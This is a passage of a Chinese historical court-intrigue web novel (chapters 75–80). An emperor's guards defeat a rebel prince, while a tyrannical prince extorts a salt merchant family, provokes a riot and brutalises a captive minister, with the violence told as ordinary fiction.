有了郑遂的旨意和在后方大开方便之门,粮饷、军械、马匹源源不断地秘密送往京城西南的黑风峪。 短短数日,一支三千人的精锐便悄然集结完毕。 郑遂改良过的精钢甲胄,自己那些更加锋锐耐用的长矛与横刀、威力倍增的改良劲弩,甚至还有几架经过巧妙设计的便携式小型投石车,都被秘密分发下去。 这些超越时代的装备,让这支本就悍勇的禁军,更添了几分无形的威慑力。 而除了明面上,被徐敬意所“找到”的贺二、沈渚等几位郑遂早已熟识的悍将,西郊那位潜伏多年、专为禁军提供后勤保障的奇才赵川珩,也被雷猛顺利寻到并带了过来。 此人年约四旬,面容精瘦,眼神却锐利如鹰,对各类物资的调配、军械的维护保养乃至就地取材制造简易攻城器械,都有一套令人叹为观止的本事。 有他在,这支军队的持续作战能力将大大提升。 大军开拔之日,郑遂身着常服,亲自来到城外十里长亭相送。 他没有摆出帝王仪仗,身边只跟着王喜和几名心腹侍卫,低调却郑重。 旌旗猎猎,三千铁甲肃立,虽无声,却自有一股冲霄的杀气弥漫开来,惊得周遭飞鸟绝迹。 “诸位将军!”郑遂行至众人面上,郑重道。 “此去凶险异常,秦王逆贼,负隅顽抗,其军虽号称数万,然多为裹挟之众,乌合之师。尔等乃朕之肱骨,先帝遗泽,精兵强将!朕信你们,必能摧枯拉朽,荡平叛逆!” 郑遂端起酒碗。 “朕在京城,等尔等凯旋!届时,朕将亲自为尔等解甲洗尘,论功行赏!凡有功将士,封妻荫子,世袭罔替!凡阵亡英烈,朕必厚恤其家,使其永享香火!” “万岁!万岁!万万岁!”三千将士齐声高呼,声浪如雷,将手中美酒一饮而尽。 随后雷猛单膝跪地,抱拳沉声道:“陛下厚恩,末将等万死难报!此去必斩秦王狗头,献于阙下!潜龙所至,逆贼授首!” “好!”郑遂重重一拍雷猛的肩膀,“朕等着你们的好消息!出发!” 号角长鸣,战鼓擂动。 三千精锐,在雷猛等人的率领下,浩浩荡荡,向着秦王驻扎的开拔而去。 郑遂站在长亭之外,目送大军远去,直到最后一抹旌旗消失在视线尽头。 “回宫。”他淡淡吩咐一声,转身登上马车。 至此,有些人该清算也得清算了。 千里之外的云州。 曾经的楚王府邸,如今已成了韩王的行辕。 宽敞奢华的花厅内,韩王正斜倚在主位铺着白虎皮的宽大座椅上,姿态慵懒的听着下方几名心腹幕僚的汇报。 “呵,本王那好低低,动作倒是快得很。”韩王嘴角勾起一抹讥诮的弧度,将短匕“铮”地一声插回鞘中。 “徐老狗前脚刚在本王手里吃了瘪,后脚他就急不可耐地找到了那支传说中的禁军?三千人?啧啧,真是好大的手笔,去对付秦王那几万草寇。” 一名留着山羊胡、眼神精明的中年幕僚上前一步,躬身道:“王爷,恕属下直言。对方人数不多,但王爷不可轻敌啊。郑遂小儿能在徐敬意的眼皮底下隐忍至今,一朝得势便寻得禁军,此子心机深沉,绝非易于之辈。秦王虽号称数万,然其军纪涣散,战力堪忧,且人数多有虚报,无非是震慑郑遂。” 韩王懒懒的看过去:“那依你之见……” 幕僚拱手:“那支禁军部队,据传皆是百战死士,配备精良。此消彼长,秦王未必能讨到便宜。一旦秦王败亡,郑遂下一个目标,必然是树大招风的王爷您啊!还请王爷早做准备,以防不测。” 韩王闻言,狭长的眼眸微微眯起,闪过一丝不悦。 他猛地一拍座椅扶手:“危言耸听!” 就算那禁军真是天兵天将,区区三千人,难道还能翻天了不成? “本王好心放出徐贼被困的消息给秦王,就是要逼他狗急跳墙,与郑遂拼个你死我活。他若连郑遂这区区几千人都收拾不了,那也活该被灭!本王正好亲自去取他项上人头,替朝廷分忧!” 言罢,他阴冷的目光扫过那说话的幕僚。 言语间颇有警告意味:“本王最讨厌的,就是长他人志气,灭自己威风!这种贬损本王而助长他人气焰的废话,以后休要再提!否则……” 韩王手指在匕首柄上轻轻摩挲,威胁之意不言而喻。 那幕僚被他看得后背发凉,冷汗瞬间浸湿了内衫,连忙低下头,不敢再多言:“是…是…属下失言,王爷恕罪!” 就在这时,厅外传来一阵急促杂乱的脚步声。 一名身着低级军官服饰的亲卫神色慌张地冲了进来,扑通一声跪倒在地。 “报——王爷!不好了!城西…城西出事了!” 韩王眉头一皱,坐直了身体,语气不耐:“何事惊慌?天塌下来了不成?” 那亲卫咽了口唾沫,急声道:“是…是盐商陆家!陆家那老东西…他…他当着满街百姓的面,一头撞死在自家门口的石狮子上了!” “什么?!”韩王脸色一沉。 自他强行占据云州以来,为了搜刮钱粮以支撑其庞大的野心和军费开支,便不顾楚王在时施行的轻徭薄赋政策,悍然下令“追缴”过去几年的“欠税”。 官府库房那点钱粮他根本看不上眼,便将矛头对准了云州的富户豪商,尤其是掌控着盐铁命脉的盐商们。 他派出手下爪牙,如狼似虎地四处催逼。 普通百姓慑于其淫威,敢怒不敢言。 遇到零星反抗的,抓几个典型当众砍了,便能暂时压服下去。 但这些根基深厚的豪商,尤其是世代经营官盐、背景盘根错节的陆家,却成了硬骨头。 韩王派去陆家的人,非但没能收到钱,反而被陆家老家主陆承恩一番义正言辞的斥责。 陆承恩声称陆家世代经营官盐,是正经皇商,年年按朝廷规制缴税,账目清晰可查,楚王殿下在时也从未有过异议。 第76章 那就你陪本王去 如今韩王一来,就凭空捏造“欠税”,还要强征重税,简直是目无王法! 双方争执不下,在陆府门口聚集了大量围观的百姓。 那陆承恩也是个刚烈的性子,见韩王的手下蛮横无理,竟悲愤交加,高呼一声“宁为玉碎,不为瓦全!老夫以死明志!”。 便在众目睽睽之下,一头撞向了门口那尊巨大的石狮子,顿时血流如注,生死不知。 “废物!”韩王听完,勃然大怒,猛地站起身,一脚踹翻了面前的矮几。 他指着跪在地上瑟瑟发抖的亲卫,厉声骂道:“连个行将就木的老盐商都制不住?本王养你们这群饭桶何用?!滚回去!告诉带队的那个蠢货,本王不管他用什么办法,今天之内,必须把陆家的钱给本王一分不少地收上来!否则,提头来见!” 那亲卫吓得面无人色,几乎瘫软在地,带着哭腔道:“王…王爷!不是小的们不尽力啊!实在是…实在是那陆老头一撞,围观的老百姓都炸锅了!现在群情激愤,堵在陆家门口,都说…都说王爷您是假传圣旨,横征暴敛,逼死人命!好些人嚷嚷着…嚷嚷着要进京告御状!带队的李校尉…他…他实在压不住场面,才让小的来禀报…请王爷定夺啊!” “告御状?”韩王像是听到了天大的笑话。 他眯起眼睛,寒光四射,声音如同九幽寒冰:“你确定……你们解决不了?” 那亲卫对上韩王那毫无温度的眼神,瞬间如坠冰窟。 牙齿咯咯打颤,一个字也说不出来,只剩下无尽的恐惧。 韩王冷哼一声,脸上戾气一闪。 地拔出腰间那柄刚刚把玩过的短匕首,手腕一抖,锋利的刀刃如同毒蛇吐信,瞬间划过跪地亲卫的脖颈。 噗嗤—— 鲜血如同喷泉般激射而出。 亲卫双眼猛地瞪圆,双手徒劳地捂住脖子,身体剧烈地抽搐了几下,便软软地瘫倒在地,顿时气绝身亡。 猩红的血液迅速在地毯上蔓延开来,散发出浓重的血腥味。 厅内一片死寂…… 所有人都被这突如其来的血腥杀戮惊呆了。 几个幕僚更是吓得魂飞魄散,脸色惨白如纸,双腿发软,几乎站立不稳。 那名之前劝谏韩王要小心郑遂的胡幕僚更是肝胆俱裂,“扑通”一声跪倒在地,以头抢地,声音抖得不成样子。 “王…王爷息怒!王爷息怒啊!莫要气坏了身子!是…是这奴才办事不力,死不足惜!王爷千金之躯,何须为这等蠢物动怒?” 韩王看也没看地上的尸体,慢条斯理地抽出洁白的丝帕,仔细擦拭着刀刃上温热的血迹。 随后淡淡瞥了一眼跪在地上抖如筛糠的幕僚,嘴角勾起一抹怪异的弧度? “哦?你让本王不要生气?那本王就听你的。” 幕僚闻言,心头刚升起一丝劫后余生的庆幸,就听韩王的声音继续响起。 “所以,你陪本王走一趟陆家吧。本王倒要看看,是什么了不得的人物,能让本王的手下如此‘为难’。” 幕僚的心瞬间沉到了谷底。 他如何不知,这分明是个火坑! 韩王这是要他出面去解决这个棘手的烂摊子! 解决好了,是韩王的“英明决断”,解决不好,自己就是下一个躺在地上的替罪羊! 可看着韩王手中那柄犹带血痕的匕首,他哪敢说半个不字? “属…属下…遵命!”幕僚的声音颤抖,冷汗已经浸透了后背。 韩王这才满意地将擦拭干净的匕首“锵”地一声归入鞘中,整了整衣袍,大手一挥。 “走!去看看那位‘以死明志’的陆大善人!” 韩王的车驾在众多护卫的簇拥下,浩浩荡荡地抵达了城西陆府所在的街巷。离得老远,就能听到一片喧哗嘈杂之声。 陆府门前,早已被愤怒的百姓围得水泄不通。 陆承恩虽然被抬了进去救治,但生死未卜,百姓们都在这儿等着。 一是好奇,二也是怕陆家主屈服了,他们这些本就水深火热的百姓会更没活路。 “韩王来了!”不知谁喊了一声,人群顿时一阵骚动,纷纷向后退去,让开一条通路。 韩王在护卫的严密保护下,走下马车。 他直接无视地上那滩血污,目光扫过群情激愤的百姓,脸上努力挤出一丝关切。 “诸位父老乡亲!”韩王清了清嗓子,朗声道。 “本王听闻此地发生惨剧,甚为痛心!本王奉旨坐镇云州,职责所在,清查税赋,本是分内之事。陆老家主一时想不开,竟行此极端之举,实在令人扼腕!本王对此深表遗憾!” 原以为,只要有眼力见儿的,听了自己这番表态,便会褪去。 却不曾想,他这番惺惺作态,非但没能平息民愤,反而更是火上浇油。 “呸!假仁假义!”人群中一个胆大的汉子怒骂道。 “什么奉旨?分明是你强加罪名,横征暴敛,逼着陆老爷去死!” “就是!楚王殿下在时,何曾有过这等苛捐杂税?” “陆家是皇商,年年交税,账本都在!凭什么你说欠税就欠税?” “我们要看账本!我们要公道!” “不给说法,我们就去京城告御状!告你韩王假传圣旨,草菅人命!” 群情汹涌,声浪一波高过一波,矛头直指韩王本人。 护卫们紧张地拔刀出鞘,将韩王护在中心,气氛顿时剑拔弩张。 韩王脸上的假笑瞬间凝固,眼神骤然阴鸷。 他何曾受过这等当众辱骂和胁迫? 一股暴戾之气直冲脑门。 他下意识地就想故技重施,杀几个带头的“刁民”立威! “大胆刁民!竟敢污蔑本王,聚众闹事!来人!给本王……”韩王厉声喝道,手已按在了剑柄上。 “王爷!万万不可!”跪在地上的幕僚吓得魂飞魄散,也顾不得许多,连滚带爬地扑过来,死死抱住韩王欲拔剑的胳膊。 压低声音急急劝阻:“王爷息怒!众怒难犯啊!此刻若再杀人,必酿成民变!后果不堪设想!” 第77章 查他贩卖私盐的证据 韩王被他死死抱住,动作一滞,看着眼前密密麻麻、怒目而视的百姓,再看看自己身边数量有限的护卫,理智稍稍压过了怒火。 他也明白,真动起手来,自己未必能讨到好。 强压下杀意,冷哼一声,甩开幕僚的手。 “好!本王不杀!那你告诉本王,现在该怎么办?本王要的是钱粮!要的是威信!不是这满地的烂摊子!你想不出办法,本王就让你去填那石狮子!” 幕僚被韩王那充满杀意的眼神看得浑身冰凉,他知道自己今天要是拿不出一个“合理”的交代,必死无疑。 豆大的汗珠从他额角滚落,他大脑飞速运转,几乎要冒烟。 情急之下,一个极其冒险的主意冒了出来。 他咬了咬牙,凑近韩王,用只有两人能听到的声音,语速飞快地说道。 “王爷!为今之计,唯有……唯有将水彻底搅浑!” 韩王斜睨他:“何解?” 幕僚声音压的更低:“王爷您想啊,陆家为何如此抗拒查账?甚至不惜以死相逼?依属下看,这绝非仅仅是税收问题!盐商油水丰厚,陆承恩推三阻四,死活不肯交钱,甚至不惜以死煽动民愤,这分明是做贼心虚!他陆家…极有可能在经营官盐的掩护下,大肆贩卖私盐!这可是抄家灭族、杀头流放的重罪!” 韩王眼中精光一闪。 贩卖私盐!这可是个能置人于死地的绝佳罪名! 只要坐实了,别说追缴“欠税”,就是抄了陆家满门,没收其全部家产,也是名正言顺! 而陆承恩的死,也可以被解释成畏罪自杀,试图混淆视听! 所以,陆家到底有没有做什么还要紧吗? 幕僚见韩王意动,赶紧补充道:“王爷!陆承恩这一撞,看似把王爷推到了风口浪尖,实则是他陆家自寻死路!他这是想用民愤来掩盖其滔天大罪!只要我们咬死他贩卖私盐,再当众查账,找出哪怕一丝一毫的纰漏,便能坐实其罪!届时,百姓自然明白王爷是在为国除害,而非横征暴敛!那些闹事的刁民,也就没了借口!” 韩王自负地点点头,嘴角重新勾起一抹阴冷的笑意。 “好!有点意思!就依你所言!” 他拍了拍幕僚的肩膀,力道不轻的推了一把。 “去吧,替本王向这些不明真相的百姓解释清楚!告诉他们,本王追查陆家,不仅是为了税赋,更是为了肃清国蠹,揪出这贩卖私盐、祸国殃民的大蛀虫!” 幕僚心中叫苦不迭,这脏活累活外加背锅的活,最终还是落到了自己头上。 但他不敢不从,只得硬着头皮,在护卫的簇拥下,战战兢兢地走到人群前方。 “肃静!肃静!”幕僚扯着嗓子高喊。 “诸位乡亲父老!稍安勿躁!韩王殿下有令!大家切莫被别有用心之人蒙蔽了双眼!” 人群稍稍安静了一些,无数道目光聚焦在他身上。 幕僚深吸一口气,强作镇定,朗声道:“王爷坐镇云州,清查税赋,乃是奉皇命,整肃地方!陆家之事,绝非表面这般简单!王爷明察秋毫,早已察觉陆家以官盐之名,行贩卖私盐之实!此乃祸国殃民、动摇国本之重罪!陆承恩今日之举,非是王爷逼迫,实乃其罪行败露,欲以死相挟,煽动民意,妄图掩盖其滔天大罪!” 幕僚言罢,略微顿了顿,见百姓似乎没有异议,便一股脑的说出。 “王爷体恤百姓,不欲牵连无辜,故命本官在此郑重宣告。即刻起,彻查陆家所有账目!若有半点贩卖私盐的证据,定当严惩不贷,抄家灭族,以儆效尤!届时,是非曲直,自有公论!” 人群瞬间炸开了锅! “贩卖私盐?这怎么可能?” “陆老爷一生行善,怎会做这等事?” “空口无凭!证据呢?” “查账!对!查账!拿出证据来!” “若查无实据,又当如何?” 各种声音此起彼伏。 百姓们虽然被“贩卖私盐”这个重罪名头震了一下,但显然并未完全相信幕僚的一面之词,反而更加激烈地要求拿出真凭实据,尤其是要看陆家的账本。 幕僚的心瞬间沉到了谷底,后背瞬间被冷汗浸透。 他最担心的事情发生了! 百姓根本不吃这套,反而揪住了“证据”不放! 他赶紧回头,用求救的目光看向韩王。 韩王站在后方,听着百姓的喧哗和要求查账的呼声,脸上非但没有担忧,反而露出一丝自负的冷笑。 他分开护卫,大步走上前,与幕僚并肩而立,目光睥睨地扫过人群。 “好!既然你们要看证据,要看账本!本王就给你们看!”韩王的声音洪亮。 “本王行事,光明磊落!陆家若真清白,账目自然经得起查验!” 不管陆家有没有贩卖私盐,账目都必有蛛丝马迹可循。 就算他陆承恩自己行得正走得直,可他手下那么多管事、账房,难道个个都是圣人? 就没有一点中饱私囊、弄虚作假? 呵……自己的人就在这儿盯着呢。 但凡有那么一星半点,就是他陆家贩卖私盐的“证据”! 他大手一挥,对着身边的护卫统领厉声下令。 “传本王令!即刻封存陆家所有账册!调集云州府衙最精干的账房先生!就在这里,当着全城父老乡亲的面,给本王查!一页一页地查!仔仔细细地查!本王倒要看看,这陆家,到底是清白无辜的善人,还是藏污纳垢的国贼!” “是!”护卫统领领命,立刻带人气势汹汹地冲进了陆府。 幕僚看着韩王那副胜券在握的姿态,又看看周围百姓那怀疑的眼神,心中那股不祥的预感却越来越强烈。 查账?当众查账?这简直是玩火! 可万一…… 万一查不出问题呢? 他不敢再想下去,只觉得眼前阵阵发黑。 很快,一箱箱沉重的账册被护卫们抬了出来,堆放在陆府门前的空地上。 几名被临时“征调”来的府衙账房先生,在刀剑的逼迫下,战战兢兢地坐在临时搬来的桌子旁,开始翻阅那堆积如山的账册。 第78章 真的一点问题都没有 账册堆积如山,几个账房先生伏案疾书,汗珠顺着鬓角滑落,滴在泛黄的纸页上,晕开小小的墨点。 算盘珠子噼啪作响,在死寂的街道上格外清晰,每一声都敲在韩王紧绷的神经上。 时间一点点流逝,日头渐高,晒得石板路发烫。 护卫们刀柄握得死紧,警惕地盯着躁动不安的人群。 韩王背着手,在原地踱步,镶金嵌玉的靴子踩在石板上。 阴鸷的脸,随着账房先生们一次次摇头、一次次低声禀报“此处无误”、“此笔清晰”而越来越沉,黑得几乎能拧出水来。 他身边的幕僚山羊胡须微微颤抖,后背的冷汗早已湿透内衫。 “王爷……”一个账房终于抬起头,声音干涩发颤,小心翼翼的禀报道。 “所有官盐进出、税银交割、库房盘存……账目清晰,勾稽无误,并无…并无虚报瞒报之嫌,更无…无贩运私盐之迹。” 轰! 人群瞬间爆发出巨大的喧嚣,如同积蓄已久的火山喷发。 “听见没有!查不出!根本查不出!” “欲加之罪,何患无辞!韩王,你丧尽天良!” “你想逼死陆老爷,还要污他清白!狗贼!” “滚出云州!滚回你的狗窝去!” 叫骂声、斥责声、哭喊声汇成愤怒的狂潮,汹涌地扑向场中央脸色铁青的韩王。 也不知是谁带了头,眨眼之间,石块、烂菜叶如同冰雹般从人群中飞出,狠狠砸向韩王和他的护卫。 护卫们慌忙举盾格挡,叮当作响。 “反了!都反了!”韩王目眦欲裂,猛地拔出腰间佩剑。 “给本王杀!杀光这群不知死活的刁民!一个不留!” “王爷!万万不可啊!”幕僚魂飞魄散,扑过去想抱韩王的腿,却被暴怒的韩王一脚踹翻在地。 护卫统领面露难色,但王命如山,只得咬牙嘶吼:“拔刀!保护王爷!驱散乱民!” 刀光霍霍,寒刃出鞘。前排的护卫猛的扑向扔东西最凶的几个汉子。 惨叫声瞬间撕裂了喧闹! “啊——!” “杀人啦!韩王杀人啦!” “狗贼!跟他拼了!为陆老爷报仇!” 百姓们亲眼目睹同伴倒在血泊中,长久积压的恐惧和屈辱被彻底点燃,转化成了同归于尽的疯狂。 那些原本瑟缩后退的百姓,眼睛瞬间红了。 “打!打死这个逼死陆老爷的狗王!” “楚王殿下在天有灵!劈了这祸害!” “乡亲们,上啊!横竖是死!” 不知是谁带头嘶吼了一声,人群如同决堤的洪流,彻底失去了控制。 愤怒的百姓不再畏惧刀剑,他们抓起手边一切能用的东西。 扁担、锄头、石块,甚至有人脱下脚上破旧的草鞋,发疯般涌了上来。 护卫们结成的阵线在排山倒海的冲击下瞬间变得岌岌可危。 一个沾满污泥的臭鸡蛋,带着风声精准无比地砸在韩王光洁的额角。 “啪!” 蛋壳碎裂,黏腻腥臭的蛋液混合着污泥,顺着韩王扭曲的眉骨蜿蜒流下,直接糊住了他一只眼睛。 传来的阵阵恶臭让韩王如遭雷击,整个人都懵了。 “护驾!护驾!挡住!挡住他们!”护卫统领嘶声力竭,声音都变了调。 他挥刀砍倒一个扑到近前、状若疯虎的老农,温热的血溅了他一脸,却丝毫无法阻挡更多涌上来的人影。 护卫们被冲得七零八落,刀砍在农具木柄上发出沉闷的撞击声,不时有护卫被石块砸中额头,惨叫着倒下。 韩王被几个最忠心的护卫死死架着,连拖带拽地向后退去。 他头上的金冠歪斜了,华丽的锦袍被扯开一道口子,沾满了污泥、蛋液和不知是谁的血点。 那只被蛋液糊住的眼睛火辣辣地疼,视线一片模糊,只能看到无数狰狞愤怒的面孔在眼前晃动,无数双手伸过来,仿佛要将他拖入地狱。 “滚开!你们这些贱民!本王要诛你们九族!”韩王歇斯底里地咆哮,但声音却很快淹没在震天的怒吼和喊杀声中。 护卫们且战且退,用身体和刀剑艰难地开辟出一条血路。 韩王深一脚浅一脚地被簇拥着,踉跄后退,狼狈不堪,哪里还有半分王爷的威仪? 他感觉脚下黏腻滑溜,不知踩到了血还是污泥,几次都差点摔倒,全靠护卫死死架住。 终于,楚王府那巍峨的朱漆大门在望。 护卫统领急促的狂吼:“开门!快开门!” 沉重的府门“吱呀”一声打开一道缝隙,里面留守的护卫惊慌地探出头。 溃退的韩王和残存的护卫如同潮水般涌入,府门在身后轰然关闭,将外面震天的怒骂和拍打声隔绝开来,只留下门板被撞击的沉闷回响。 奢华的花厅内死寂得可怕,只有韩王粗重的喘息声在回荡。 他头上的金冠早已不知去向,发髻散乱,几缕头发被蛋液和污泥黏在额角脸颊。 那身价值千金的锦袍更是污秽不堪,前襟浸透了臭鸡蛋的污迹,下摆撕裂,还沾着点点暗红的血渍,散发出令人作呕的混合气味。 他一把扯下身上肮脏不堪的外袍,狠狠摔在地上,眼中是尚未褪尽的惊悸和翻腾的暴怒。 “废物!一群废物!”韩王猛地一脚踹翻身侧沉重的紫檀木矮几,上面的玉器茶盏稀里哗啦碎了一地。 他犹不解恨,反手“啪”地一记耳光,狠狠扇在离他最近、负责城西护卫的校尉脸上。 校尉被打得一个趔趄,嘴角立刻渗出血丝,却连哼都不敢哼一声,和其他跪伏在地的护卫、幕僚一样瑟瑟发抖。 “本王养你们何用?连一群手无寸铁的泥腿子都挡不住!让他们把脏东西扔到本王脸上!让他们差点撕了本王!” 韩王在厅内来回疾走,踏在碎裂的瓷片上。 随即,他的目光如同淬了毒的刀子,猛地钉在跪在角落、抖得最厉害的那个山羊胡幕僚身上。 “还有你!”韩王几步冲过去,居高临下的狠狠等着他,“你还真是本王的好军师!你给本王出的好主意!当众查账?搅浑水?找出贩卖私盐的罪证?” 第79章 都是你们出的好主意 韩王每说一句,声音就拔高一分,最后几乎是咆哮出来。 “结果呢?!嗯?账目清白!本王成了最大的笑话!成了意图逼死忠良、横征暴敛、还要构陷忠良的昏王!成了被贱民用臭鸡蛋砸脸的丧家之犬!” 韩王越说越怒,额角青筋暴跳。 他猛地拔出腰间那柄刚刚沾染过亲卫鲜血的短匕,“铮”的一声,寒光映亮了他扭曲狰狞的脸。 “本王该怎么‘奖励’你这番‘妙计’?!” 韩王声音阴冷,匕首锋利的尖端缓缓抬起,直指幕僚剧烈颤抖的咽喉。 幕僚吓得魂飞天外,肝胆俱裂,连滚带爬地扑倒在地,额头“砰砰砰”地死命撞击着冰冷坚硬的金砖地面,瞬间便是一片青紫。 “王爷饶命!王爷饶命啊!属下该死!属下愚钝!属下万死!求王爷开恩!求王爷看在家小份上,饶属下一命!属下愿做牛做马……” 幕僚语无伦次,涕泪横流。 韩王眼中却杀意炽盛,毫无怜悯。 他手腕微动,冰冷的刀尖就要落下。 “报——!急报——!” 厅外骤然响起一声凄厉变调的嘶喊打断了韩王的动作。 紧接着,一个浑身浴血、甲胄残破的信使,几乎是撞开了守门护卫的阻拦,连滚带爬地扑进殿内,重重摔在韩王脚边。 “王…王爷!秦王…秦王殿下…大败!首战…大溃啊!” 信使气息奄奄,声音嘶哑,几乎用尽了最后的力气嘶吼出来。 “什么?!”韩王手中即将刺下的匕首猛地一顿,瞳孔骤然收缩,难以置信地厉声喝问。 “说清楚!秦王如何?!” 信使挣扎着抬起头,眼中满是巨大的恐惧:“禁军…那支京城来的禁军…仅仅三千人…在…在鹤鸣关设伏…秦王殿下前锋一万精锐…中了埋伏…被…被打得全军覆没…主将…主将尽数阵亡…秦王殿下…殿下亲率中军驰援…又遭…又遭迎头痛击…死伤…死伤无算…末将…末将逃出时…殿下…殿下已…已折损过半兵马…正…正放弃辎重…掉头…亡命…亡命逃回封地了!” “嘶——!” 殿内瞬间响起一片倒抽冷气的声音。 跪在地上的护卫、幕僚们全都惊呆了,连哭泣求饶的幕僚也忘了磕头,张着嘴,一脸骇然。 “不可能!”韩王如遭重锤,猛地倒退一步,手中那柄染血的短匕“哐当”一声,脱手掉落在金砖地上,发出刺耳的脆响。 他脸色煞白,眼神狂乱,像是听到了最荒谬的天方夜谭。 “三千人!只有三千人!秦王号称数万!就算是草寇,那也是几万人!还有精骑!怎么会…怎么会败得如此之惨?还被杀了近半?!” 他猛地俯身,一把揪住那信使染血的衣襟,几乎将他提离地面,面目狰狞地咆哮。 “你是不是谎报军情?!是不是秦王故意示弱?!说!” 信使被韩王勒得几乎窒息,艰难地摇头:“王爷…千真…万确…末将…亲眼所见…那禁军…如…如虎入羊群…弓弩…箭如飞蝗…刀锋…削铁如泥…秦王大军…一触即溃…兵败…如山倒啊!他们…他们还在追杀…秦王殿下…怕是…怕是连封地…都守不住了! ” “连封地都守不住……”韩王失神地喃喃重复,揪着信使的手颓然松开。 信使软倒在地,剧烈咳嗽。 韩王踉跄着又退了两步,直到撞上身后冰冷的蟠龙柱才停下。 一股刺骨的寒意瞬间将他方才的暴怒浇灭,韩王表情龟裂,几乎要崩溃。 秦王一旦连封地都丢了,他还能往哪里退? 他背后,可就是他韩王苦心经营多年的荆州老巢! 这是唇亡齿寒! “徐敬意……” 韩王猛地抬头,眼中凶光爆射。 “是他!一定是这条老狗搞的鬼!他根本没按本王的吩咐去做!他阴奉阳违!他想害死本王!” 滔天的怒火和猜忌瞬间淹没了韩王。 他不再看地上瘫软的信使和吓得半死的幕僚,转身就朝王府深处徐敬意养病的别院冲去。 护卫们面面相觑,慌忙跟上。 别院内弥漫着一股苦涩的药味。 徐敬意半倚在铺着厚厚锦垫的床榻上,脸色蜡黄,眼窝深陷,短短几日,仿佛又苍老了十岁。 一个侍女正小心翼翼地捧着一碗热气腾腾的漆黑药汁,用小银匙舀了,吹凉了送到他唇边。 他刚勉强咽下一小口,苦涩的药汁还在喉间翻滚。 “砰!” 房门忽然被狠狠踹开,厚重的门板撞在墙上,发出巨响,震得房梁都似在颤抖。 徐敬意被这突如其来的巨响骇得浑身一哆嗦,下意识地抬眼望去。 只见韩王如同煞神般冲了进来,脸上还残留着污泥蛋渍,双眼赤红,杀气腾腾,哪里还有半分王爷的体统? 侍女吓得尖叫一声,手中的药碗“啪嚓”摔在地上,滚烫的药汁和碎瓷片溅了一地。 徐敬意心头剧震,一股强烈的不祥预感瞬间攫住了他。 “徐!敬!意!”韩王咆哮着,几步就跨到床前。 他看也不看地上的狼藉,大手狠狠扇在徐敬意毫无血色的脸颊上! “啪!” 徐敬意被打得脑袋猛地偏向一侧,眼前金星乱冒,耳朵里嗡嗡作响,半边脸颊以肉眼可见的速度红肿起来,嘴角溢出一缕鲜血。 他整个人都被打懵了,瘫在锦垫上,连痛呼都发不出。 “老匹夫!安敢如此欺我!”韩王一把揪住徐敬意的衣领,将他像破麻袋一样从床榻上粗暴地拖拽下来,狠狠掼在冰冷的地板上。 徐敬意闷哼一声,五脏六腑都仿佛移了位,蜷缩在地上痛苦地抽搐。 韩王俯下身,赤红的眼睛死死盯住徐敬意惊骇欲绝的脸:“说!是不是你搞的鬼!本王让你写信,让你命令那些禁军头领在战场上给秦王‘放水’,只做做样子!你倒好!你让他们下死手!把秦王杀得丢盔弃甲,亡命奔逃!是不是?!” 徐敬意被这劈头盖脸的质问砸懵了,他忍着剧痛和眩晕,艰难地喘息着,脑子里一片混乱。 第80章 竟然背叛了他 秦王大败? 禁军下了死手? 这怎么可能?! 他明明在信中用了只有心腹才懂的密语暗示自己被韩王胁迫,让他们务必配合演戏,保存实力,只求表面退敌即可! “王…王爷…微臣…冤枉啊……”徐敬意挣扎着,声音嘶哑破碎,却还在激励辩驳。 “信…信是王爷亲眼看着老臣写的…也是王爷…派人送出的…老臣…老臣被囚于此…如何…如何能动手脚?老臣…对王爷…忠心…耿耿!忠心耿耿啊!” “忠心耿耿?”韩王狞笑,松开揪着他衣领的手,却猛地抬脚,狠狠踹在他蜷缩的腰腹间。 “呃啊——!”徐敬意发出一声短促凄厉的惨嚎,身体痛苦地弓成了虾米,剧烈的咳嗽起来。 “忠心耿耿会让秦王败得这么惨?忠心耿耿会让本王的荆州门户大开?!”韩王犹不解恨,又狠狠踢了两脚。 徐敬意蜷缩在地,只能发出痛苦的呜咽,这会儿已经连求饶的话都说不出了。 终于,韩王打累了,喘着粗气站直身体,眼神扫过地上痛苦抽搐的徐敬意,厉声喝道:“来人!拿本王的‘九幽散’来!” 门外候命的护卫立刻应声,片刻后,一个托盘被送了进来,上面放着一个精致小巧的玉瓶,瓶身刻着狰狞的骷髅花纹,里面装着暗紫色的粉末,正是韩王秘藏的剧毒“九幽散”。 这药沾唇即死,绝无生还。 韩王拿起玉瓶,拔开瓶塞,一股令人作呕的甜腻腥气飘散出来。 他居高临下,用脚尖踢了踢地上气息奄奄的徐敬意:“老东西,本王再给你最后一次机会。说!到底怎么回事?若说不出个子丑寅卯,本王现在就让你尝尝这‘九幽散’的滋味!送你去见你那短命的先帝!” 死亡的阴影瞬间笼罩下来,毒药甜腻的腥气钻入鼻腔,徐敬意浑身冰凉。 他惊恐地看着韩王手中那小小的玉瓶,如同下了阴曹地府一般。 就在这濒死的恐惧中,一个可怕的念头如同闪电般劈入他混乱的脑海。 信送出去了! 自己的暗示绝对送到了! 可为什么……为什么结果却是秦王惨败? 除非……除非那些收到信的“心腹”,那些他赖以制衡徐妙晴和郑遂、掌控禁军的爪牙们,他们背叛了他! 他们根本没有执行他的密令!他们选择了……倒戈! 是谁?是徐妙晴?还是……那个深藏不露的小皇帝郑遂?! 可无论是谁,这都意味着他徐敬意,这个曾经权倾朝野的徐丞相,此刻已是真正的孤家寡人! 他被韩王囚禁,又被自己的势力抛弃,成了彻头彻尾的弃子! 一股透骨的寒意瞬间从徐敬意的尾椎骨窜上头顶,比韩王的毒打更让他恐惧绝望,几乎冻结了他的血液。 他猛地打了个寒颤,牙齿咯咯作响。 “说!”韩王不耐地低吼,玉瓶又逼近了几分。 徐敬意一个激灵,求生的本能压倒了一切。 不能承认自己偷偷背叛韩王结果反被手下背叛!绝对不能! 那只会立刻招来杀身之祸!必须转移韩王的怒火! 电光火石间,他想到了徐妙晴。 她一直觊觎自己的皇位,不管从哪个方面来讲,她都最有可能! 而且韩王知道徐家的内斗,或许能信! “王…王爷…是…是她!是徐妙晴!” 徐敬意如同抓住最后一根救命稻草,挣扎着抬起头。 “微臣…微臣想起来了!定是徐妙晴那个贱人!她…她勾结老臣的庶兄徐敬若,在京城兴风作浪,意图夺权!老臣离京日久…那些…那些掌管信鸽、传递消息的心腹…定是…定是早就被她收买或胁迫了!她…她截获了王爷和我的命令!她…她假传号令!让禁军…往死里打秦王!她…她这是要借刀杀人,既除秦王…又…又嫁祸于王爷您啊!” 他一边说,一边紧紧盯着韩王的表情。 韩王握着玉瓶的手顿住了,眉头紧紧拧起,赤红的眼中闪过一丝惊疑不定。 